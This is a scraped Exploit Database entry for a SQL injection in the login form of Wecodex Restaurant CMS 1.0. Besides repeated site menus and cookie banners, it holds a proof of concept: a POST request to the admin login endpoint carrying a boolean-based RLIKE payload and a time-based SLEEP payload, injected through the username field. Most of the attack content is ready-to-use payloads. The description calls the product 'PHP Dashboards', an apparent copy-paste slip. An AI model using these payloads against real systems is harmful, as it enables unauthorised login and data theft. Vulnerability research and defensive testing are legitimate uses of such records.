



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

Wecodex Restaurant CMS 1.0 - 'Login' SQL Injection

EDB-ID:

44730

CVE:

N/A

EDB Verified: ✘**Author:**[AKKUS](#)**Type:**[WEBAPPS](#)**Exploit:** / **Cookiebot**
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

```
# Exploit Title: Wecodex Restaurant CMS 1.0 - 'Login' SQL Injection
# Dork: N/A
# Date: 2018-05-23
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor : Wecodex Solutions
# Vendor Homepage: https://www.wecodex.com/item/view/restaurant-system-in-
php-and-mysql/6
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.

# PoC : SQLi :
# Demo : https://Target/demos/restaurant/admin/

https://Target/demos/restaurant/admin/index.php?action=processlogin

POST /demos/restaurant/admin/index.php?action=processlogin HTTP/1.1
Host: Target
```

Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >


```
username=admin" RLIKE (SELECT (CASE WHEN (7084=7084) THEN
0x61646d696e4061646d696e2e63666d ELSE 0x28 END)) AND
"eloY"="eloY&password=123456





# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Payload:




username=admin" AND (SELECT * FROM (SELECT(SLEEP(5)))lzxm) AND
"vZea"="vZea&password=123456
```

Tags:





Advisory/Source: [Link](#)

-  EXPLOIT DATABASE

-  EXPLOITS
-  GHDB
-  PAPERS
-  SHELLCODES

-  SEARCH EDB
-  SEARCHSPLOIT MANUAL
-  SUBMISSIONS

- [Databases ▾](#)
- [Links ▾](#)
- [Sites ▾](#)
- [Solutions ▾](#)





[EXPLOIT DATABASE BY OFFSEC](#)
[TERMS](#)
[PRIVACY](#)
[ABOUT US](#)
[FAQ](#)
[COOKIES](#)
©

[OffSec Services Limited](#) 2026. All rights reserved.



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >